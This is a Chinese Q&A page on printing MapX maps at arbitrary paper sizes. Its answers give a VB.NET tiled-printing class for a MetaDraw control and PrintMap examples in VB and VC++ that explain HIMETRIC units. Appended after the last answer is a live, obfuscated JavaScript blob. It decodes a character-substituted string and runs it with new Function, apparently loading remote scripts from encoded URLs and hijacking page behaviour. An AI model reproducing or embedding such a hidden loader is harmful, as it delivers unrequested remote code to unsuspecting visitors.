[紧急求助]mapx 如何打印任何尺寸纸张?

2025-02-23 06:29:28
推荐回答(4个)
回答1:

提供以下代码作参考:
Imports AxMDrawProLib
Imports System.Windows.Forms
Imports System.Drawing
Imports System.Drawing.Printing
'Imports PictureCtrl.PublicLayer

Public Class CMetaDrawPrinter

#Region "类说明及修改日志"
' 修改人:
' 修改内容:

#End Region

'声明事件
Private WithEvents PrnDocMetaDraw As PrintDocument
'传递控件的临时变量
Private _MetaDrawCtrl As AxMDrawPro
'传递剪裁、输出区域的信息
Private _PicType As MDrawProLib.C_PictureType
Private _sClipLeft, _sClipTop, _sClipWidth, _sClipHeight, _sExportLeft, _sExportTop, _sExportWidth, _sExportHeight, _sBlankLength, _sFullHeight, _sFullWidth As Single
Private _iPageNum, _iPrintPageNum As Integer
'纸型高、宽
Private _iPaperHeight, _iPaperWidth As Integer
'纸型:A4/A3
Private _iPaperKind As System.Drawing.Printing.PaperKind
'横纵打印
Private _bPaperLandscape As Boolean

'输出属性
Private _ExportOptions As MDrawProLib.C_ExportOptions

'打印机和显示器的DPI,暂时不加入此类中,由外部控制
'Private _iPrinterDPI, _iMonitorDPI As Integer

#Region "属性"
'获取当前使用的PrintDocument类
Public ReadOnly Property GetPrnDoc()
Get
Return PrnDocMetaDraw
End Get
End Property
'全图(大图)高度
Public Property FullHeight() As Single
Get
Return _sFullHeight
End Get
Set(ByVal Value As Single)
_sFullHeight = Value
End Set
End Property

'全图(大图)宽度
Public Property FullWidth() As Single
Get
Return _sFullWidth
End Get
Set(ByVal Value As Single)
_sFullWidth = Value
End Set
End Property

'2页之间的空白区域长度
Public Property BlankLength() As Single
Get
Return _sBlankLength
End Get
Set(ByVal Value As Single)
_sBlankLength = Value
End Set
End Property

'输出的页数
Public Property PageNum() As Integer
Get
Return _iPageNum
End Get
Set(ByVal Value As Integer)
_iPageNum = Value
End Set
End Property

' 获取输出图片格式
Private ReadOnly Property PicType() As MDrawProLib.C_PictureType
Get
Return _PicType
End Get
'Set(ByVal Value As MDrawProLib.C_PictureType)
' _PicType = Value
'End Set
End Property

'得到当前使用的MetaDraw控件
Private WriteOnly Property GetMetaDrawCtrl() As AxMDrawPro
Set(ByVal Value As AxMDrawPro)
_MetaDrawCtrl = Value
End Set
End Property

'得到当前使用的MetaDraw控件
Public WriteOnly Property SetExportOptions() As MDrawProLib.C_ExportOptions
Set(ByVal Value As MDrawProLib.C_ExportOptions)
_ExportOptions = Value
End Set
End Property

#Region "纸张"

'纸张:高
Public Property PaperKind() As PaperKind
Get
Return _iPaperKind
End Get
Set(ByVal Value As PaperKind)
_iPaperKind = Value
End Set
End Property

'纸张:高
Public Property PaperHeight() As Integer
Get
Return _iPaperHeight
End Get
Set(ByVal Value As Integer)
_iPaperHeight = Value
End Set
End Property
'纸张:宽
Public Property PaperWidth() As Integer
Get
Return _iPaperWidth
End Get
Set(ByVal Value As Integer)
_iPaperWidth = Value
End Set
End Property

'纸张:横纵
Public Property PaperLandscape() As Boolean
Get
Return _bPaperLandscape
End Get
Set(ByVal Value As Boolean)
_bPaperLandscape = Value
End Set
End Property
#End Region

#Region "剪裁区域信息"

Public Property ClipLeft() As Single
Get
Return _sClipLeft
End Get
Set(ByVal Value As Single)
_sClipLeft = Value
End Set
End Property
'剪裁上边距
Public Property ClipTop() As Single
Get
Return _sClipTop
End Get
Set(ByVal Value As Single)
_sClipTop = Value
End Set
End Property
'剪裁宽度
Public Property ClipWidth() As Single
Get
Return _sClipWidth
End Get
Set(ByVal Value As Single)
_sClipWidth = Value
End Set
End Property
'剪裁高度
Public Property ClipHeight() As Single
Get
Return _sClipHeight
End Get
Set(ByVal Value As Single)
_sClipHeight = Value
End Set
End Property
#End Region

#Region "输出区域信息"
'输出左边距
Public Property ExportLeft() As Single
Get
Return _sExportLeft
End Get
Set(ByVal Value As Single)
_sExportLeft = Value
End Set
End Property
'输出上边距
Public Property ExportTop() As Single
Get
Return _sExportTop
End Get
Set(ByVal Value As Single)
_sExportTop = Value
End Set
End Property
'输出宽度
Public Property ExportWidth() As Single
Get
Return _sExportWidth
End Get
Set(ByVal Value As Single)
_sExportWidth = Value
End Set
End Property
'输出高度
Public Property ExportHeight() As Single
Get
Return _sExportHeight
End Get
Set(ByVal Value As Single)
_sExportHeight = Value
End Set
End Property
#End Region

#End Region

#Region "SUB方法"

Public Sub New(ByVal _MetaDrawCtrlTemp As AxMDrawPro)
PrnDocMetaDraw = New PrintDocument
'PrnDocMetaDraw.PrinterSettings.DefaultPageSettings.Landscape = True
'PrnDocMetaDraw.PrinterSettings.DefaultPageSettings.PaperSize = New System.Drawing.Printing.PaperSize("Custom", 1169, 827)

_MetaDrawCtrl = _MetaDrawCtrlTemp

'默认的纸型设置
_iPaperKind = PaperKind.A4
_bPaperLandscape = True

'默认值
'图象格式
_PicType = MDrawProLib.C_PictureType.PICTYPE_ENHMETAFILE
'_PicType = MDrawProLib.C_PictureType.PICTYPE_METAFILE
'四周空白区域(边距),_BlankHeight * 2 = 2个小图的间距
_sBlankLength = 0

'默认剪裁区域信息
_sClipLeft = _sBlankLength
_sClipTop = _sBlankLength
_sClipWidth = 100
_sClipHeight = 100

'默认输出区域信息
_sExportLeft = 0
_sExportTop = 0
_sExportWidth = 0
_sExportHeight = 0

'全图(大图)高度
_sFullHeight = _MetaDrawCtrl.PicYSize

'分成小图的页数
_iPageNum = 1

'页码清0
_iPrintPageNum = 0

End Sub

'计算分页打印的页数
Private Sub CountPageNum()
Dim iPageX As Integer
Dim iPageY As Integer

If (_sFullWidth / _sClipWidth) > Int(_sFullWidth / _sClipWidth) Then
iPageX = Int(_sFullWidth / _sClipWidth + 1)
Else
iPageX = Int(_sFullWidth / _sClipWidth)
End If

If (_sFullHeight / _sClipHeight) > Int(_sFullHeight / _sClipHeight) Then
iPageY = Int(_sFullHeight / _sClipHeight + 1)
Else
iPageY = Int(_sFullHeight / _sClipHeight)
End If

_iPageNum = iPageX * iPageY

If _iPageNum < 1 Then
_iPageNum = 1
End If
End Sub

'Public Function GetClipImage() As Image

' _MetaDrawCtrl.PictureType = _PicType
' '_MetaDrawCtrl.Current = MDrawProLib.C_ResHandle.OBJ_CONT_MAIN
' '输出区域
' _MetaDrawCtrl.ExportOptions = MDrawProLib.C_ExportOptions.EXOPT_CLIPPING Or MDrawProLib.C_ExportOptions.EXOPT_USEZOOM

' '剪切区域信息
' _MetaDrawCtrl.ClipLeft = _ClipLeft
' _MetaDrawCtrl.ClipTop = _ClipTop
' _MetaDrawCtrl.ClipWidth = _ClipWidth
' _MetaDrawCtrl.ClipHeight = _ClipHeight

' '输出区域信息
' _MetaDrawCtrl.ExportLeft = _ExportLeft
' _MetaDrawCtrl.ExportTop = _ExportTop
' _MetaDrawCtrl.ExportWidth = _ExportWidth
' _MetaDrawCtrl.ExportHeight = _ExportHeight

' Return _MetaDrawCtrl.PictureClip
'End Function

''计算小图页数
'Private Sub CountPageNum()
' '_iPageNum = Int((_sFullHeight / (_sClipHeight + _sBlankLength * 2)) * (_sFullWidth / (_sClipWidth + _sBlankLength * 2)))
' _iPageNum = Int((_sFullHeight * _sFullWidth) / ((_sClipHeight + _sBlankLength * 2) * (_sClipWidth + _sBlankLength * 2)))

' 'If _iPageNum < (_sFullHeight / (_sClipHeight + _sBlankLength * 2)) * (_sFullWidth / (_sClipWidth + _sBlankLength * 2)) Then
' If _iPageNum < (_sFullHeight * _sFullWidth) / ((_sClipHeight + _sBlankLength * 2) * (_sClipWidth + _sBlankLength * 2)) Then

' _iPageNum = _iPageNum + 1
' End If

' If _iPageNum < 1 Then
' _iPageNum = 1
' End If

'End Sub

Private Sub PrnDocMetaDraw_PrintPage(ByVal sender As System.Object, ByVal e As System.Drawing.Printing.PrintPageEventArgs) Handles PrnDocMetaDraw.PrintPage
'此处使用PICTYPE_BITMAP,没有PICTYPE_METAFILE清晰。
'但是使用PICTYPE_METAFILE后, 某些元素角度会改变。

_MetaDrawCtrl.PictureType = _PicType
'_MetaDrawCtrl.Current = MDrawProLib.C_ResHandle.OBJ_CONT_MAIN
'输出区域
'加入EXOPT_USEZOOM是为了保持尺寸
_MetaDrawCtrl.ExportOptions = _ExportOptions
'_MetaDrawCtrl.ExportOptions = MDrawProLib.C_ExportOptions.EXOPT_CLIPPING

'剪切区域信息
_MetaDrawCtrl.ClipLeft = _sClipLeft
_MetaDrawCtrl.ClipTop = _sClipTop

'_MetaDrawCtrl.ClipWidth = 400
'_MetaDrawCtrl.ClipHeight = 400

_MetaDrawCtrl.ClipWidth = _sClipWidth
_MetaDrawCtrl.ClipHeight = _sClipHeight

'输出区域信息
_MetaDrawCtrl.ExportLeft = _sExportLeft
_MetaDrawCtrl.ExportTop = _sExportTop
_MetaDrawCtrl.ExportWidth = _sExportWidth
_MetaDrawCtrl.ExportHeight = _sExportHeight

'_MetaDrawCtrl.ExportWidth = 400
'_MetaDrawCtrl.ExportHeight = 400

'设置打印区域尺寸
'Dim RgleF As New RectangleF
'Dim SizF As New SizeF
'SizF.Height = iPrintHeight
'SizF.Width = iPrintWidth

'SizF.Height = _MetaDrawCtrl.PicYSize
'SizF.Width = _MetaDrawCtrl.PicXSize
'SizF.Height = 602
'SizF.Width = 931
'SizF.Height = mdpUser.PicYSize
'SizF.Width = mdpUser.PicXSize

'RgleF.Size = SizF
'RgleF.X = _sExportLeft
'RgleF.Y = _sExportTop

'打印图象
Dim _g As Graphics
_g = e.Graphics
_g.DrawImage(_MetaDrawCtrl.PictureClip, _sExportLeft, _sExportTop)

'_g.DrawImage(_MetaDrawCtrl.PictureClip, RgleF)

''打印页码

'_iPrintPageNum = 1 + _iPrintPageNum
'Dim _Bursh As New SolidBrush(Color.Black)
'Dim _Font As New System.Drawing.Font("宋体, 9pt", 9, FontStyle.Bold)
'_g.DrawString("页码:" & _iPrintPageNum, _Font, _Bursh, 10, 10)

'是否打印多页
If _iPageNum >= 2 Then
e.HasMorePages = True
_iPageNum = _iPageNum - 1
'_BlankHeight为空白区域高度
'横向平移打印
_sClipLeft = _sClipLeft + _sClipWidth + _sBlankLength * 2
'当横向结束后,向下纵向平移,重新开始纵向打印
If _sClipLeft > _sFullWidth Then
_sClipLeft = 0
_sClipTop = _sClipTop + _sClipHeight
End If
Else
e.HasMorePages = False
CountPageNum()
_sClipLeft = 0
_sClipTop = 0
End If

''是否打印多页
'If _iPageNum >= 2 Then
' e.HasMorePages = True
' _iPageNum = _iPageNum - 1
' '_BlankHeight为空白区域高度
' '纵向打印
' _sClipTop = _sClipTop + _sClipHeight + _sBlankLength * 2
' '当纵向结束后,向右横向平移,重新开始纵向打印
' If _sClipTop > _sFullHeight Then
' _sClipTop = 0
' _sClipLeft = _sClipLeft + _sClipWidth
' End If
'Else
' e.HasMorePages = False
'End If

End Sub

#Region "注释掉部分-打印页码"
''打印函数子的函数,打印页码
'Private Sub PrintPageNum()

' Dim _g As Graphics

' Dim _Bursh As New SolidBrush(Color.Black)

' Dim _Font As New System.Drawing.Font("宋体, 9pt", 9, FontStyle.Bold)
' _g.DrawString("1", _Font, _Bursh, 1, 1)

'End Sub
#End Region

'打印
Public Sub Print()
'设置纸型
SetupPaper()

'得到页数
CountPageNum()

PrnDocMetaDraw.Print()
End Sub
'预览
Public Sub Preview()
Try
'设置纸型
SetupPaper()

'得到页数
CountPageNum()

Dim _PreviewDialog As New PrintPreviewDialog
'MsgBox(PrnDocMetaDraw.DefaultPageSettings.PaperSize.Kind)
_PreviewDialog.Document = PrnDocMetaDraw
_PreviewDialog.ShowDialog()
Catch ex As Exception
MsgBox(ex.ToString)
End Try
End Sub
Public Sub PrinterSetup()
Dim _PrintDialog As New PrintDialog
_PrintDialog.Document = PrnDocMetaDraw
_PrintDialog.ShowDialog()
End Sub
Public Sub PageSetup()
Dim _PageSetupDialog As New PageSetupDialog
_PageSetupDialog.Document = PrnDocMetaDraw
_PageSetupDialog.ShowDialog()
End Sub
'局部调用,设置纸型:横纵向、高、宽。
Private Sub SetupPaper()
Try
'PrnDocMetaDraw.DefaultPageSettings.PaperSize = New System.Drawing.Printing.PaperSize("Custom", _iPaperWidth, _iPaperHeight)
PrnDocMetaDraw.DefaultPageSettings.Landscape = _bPaperLandscape

Dim tPaperSize As PaperSize
Dim i As Integer
For i = 0 To PrnDocMetaDraw.PrinterSettings.PaperSizes.Count - 1
If PrnDocMetaDraw.PrinterSettings.PaperSizes(i).Kind = _iPaperKind Then
tPaperSize = PrnDocMetaDraw.PrinterSettings.PaperSizes(i)
Exit For
End If
Next

PrnDocMetaDraw.DefaultPageSettings.PaperSize = tPaperSize

'PrnDocMetaDraw.DefaultPageSettings.PaperSize = System.Drawing.Printing.PaperKind.A4
Catch ex As Exception
MsgBox(ex.ToString)
End Try

End Sub
#End Region
End Class

回答2:

mapx 打印地图时的参数如何设置
在mapx 的 printmap方法:PrintMap (hDC x, y, w, h)之中,w,h,x,y的单位为himetric,1 himetric=0.01毫米。所以,打印地图时需要将w,h 乘100换算为毫米。

在vb 中例子:

Private Sub Command4_Click()

On Error GoTo ErrorHandler ` Set up error handler.

' coords must be in himetric

' print same size as on screen, in upper left of page

ScaleMode = 6 `set mode to mm

' there is no Printer.StartDoc method, it seems it is done

' implicitly when you use one of the printer.print methods

' so we need to print something before we print our map

' to start the page

Printer.CurrentX = 0

Printer.CurrentY = 0

Printer.Print " "

Map1.PrintMap Printer.hDC, 0, 0, Map1.Width * 100, _

Map1.Height * 100

Printer.NewPage ` Send new page.

Printer.EndDoc ` Printing is finished.

Exit Sub

在vc中例子

// Map.PaperUnit Property

// Map.PrintMap Method

void CSampleProjectView::OnPrintMap(CDC* pDC,CPrintInfo* pInfo) {

try {

// get paper width in mm and convert to HIMETRIC (100th of a mm)

m_Map.SetPaperUnit(miUnitMillimeter);

double pw = m_Map.GetMapPaperWidth() * 100;

double ph = m_Map.GetMapPaperHeight()* 100;

m_Map.PrintMap((long)pDC->m_hDC,

pInfo->m_rectDraw.left,pInfo->m_rectDraw.

top,(long)pw,(long)ph);

} catch (COleDispatchException *e) {

e->ReportError();

e->Delete();

} catch (COleException *e) {

e->ReportError();

e->Delete();

}

}
看下是不是单位有问题

回答3:

在mapx 的 printmap方法:PrintMap (hDC x, y, w, h)之中,w,h,x,y的单位为himetric,1 himetric=0.01毫米。所以,打印地图时需要将w,h 乘100换算为毫米。

回答4:

祝你好运

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();